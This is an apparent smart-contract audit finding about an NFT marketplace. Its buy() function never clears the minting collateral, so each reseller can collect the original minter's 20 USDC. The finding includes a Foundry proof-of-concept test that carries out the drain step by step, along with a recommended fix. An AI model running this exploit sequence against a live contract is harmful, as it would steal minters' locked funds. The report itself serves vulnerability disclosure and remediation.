Root Cause: buy() never resets collateralForMinting[tokenId] after an NFT is transferred to a new owner.
Impact: Every subsequent owner of an NFT can claim the original minter's collateral via collectUsdcFromSelling(), draining funds from the contract that belong to original minters.
Description
When a user mints an NFT, their collateral is stored in collateralForMinting[tokenId]. When the NFT is later sold via buy(), the collateral mapping is never zeroed out. This means collectUsdcFromSelling() will return the original minter's collateral to every subsequent seller, even though they never deposited any collateral.
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
@>
s_listings[_listingId].isActive = false;
}
Risk
Likelihood: High
-
Any buyer who purchases an NFT and relists it will automatically trigger this bug on every resale and no special conditions required
-
The bug occurs on every secondary sale as long as the protocol is active and NFTs are being traded
Impact: High
-
Every secondary seller receives lockAmount (20 USDC) in collateral they never deposited, directly draining funds from the contract
-
With 1000 NFTs in circulation and multiple resales per NFT, the contract can be fully drained of all original minters' collateral over time, leaving original minters unable to recover their locked funds
Proof of Concept
// PoC: We prove that collateralForMinting is never reset in buy()
// by having Alice mint and sell her NFT to Bob, then showing Bob
// can collect Alice's original collateral when he resells — funds he never deposited
function test_POC_CollateralNeverReset() public revealed {
vm.prank(owner);
nftDealers.whitelistWallet(userWithCash);
vm.prank(owner);
nftDealers.whitelistWallet(userWithEvenMoreCash);
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(1, 1000e6);
vm.stopPrank();
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 1000e6);
nftDealers.buy(1);
vm.stopPrank();
uint256 aliceBalanceBefore = usdc.balanceOf(userWithCash);
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(1);
uint256 aliceBalanceAfter = usdc.balanceOf(userWithCash);
console.log("Alice received:", aliceBalanceAfter - aliceBalanceBefore);
assertEq(nftDealers.collateralForMinting(1), 20e6);
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 1000e6);
nftDealers.list(1, 1000e6);
vm.stopPrank();
address buyer2 = makeAddr("buyer2");
usdc.mint(buyer2, 1000e6);
vm.startPrank(buyer2);
usdc.approve(address(nftDealers), 1000e6);
nftDealers.buy(1);
vm.stopPrank();
uint256 bobBalanceBefore = usdc.balanceOf(userWithEvenMoreCash);
vm.prank(userWithEvenMoreCash);
nftDealers.collectUsdcFromSelling(1);
uint256 bobBalanceAfter = usdc.balanceOf(userWithEvenMoreCash);
console.log("Bob received:", bobBalanceAfter - bobBalanceBefore);
uint256 fees = nftDealers.calculateFees(1000e6);
assertEq(bobBalanceAfter - bobBalanceBefore, 1000e6 - fees + 20e6);
}
Recommended Mitigation
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
activeListingsCounter--;
+ // Mark listing inactive and reset collateral BEFORE transfers (CEI pattern)
+ s_listings[_listingId].isActive = false;
+ collateralForMinting[listing.tokenId] = 0;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
- // isActive set too late, that is after transfers and collateral never reset
- s_listings[_listingId].isActive = false;
}
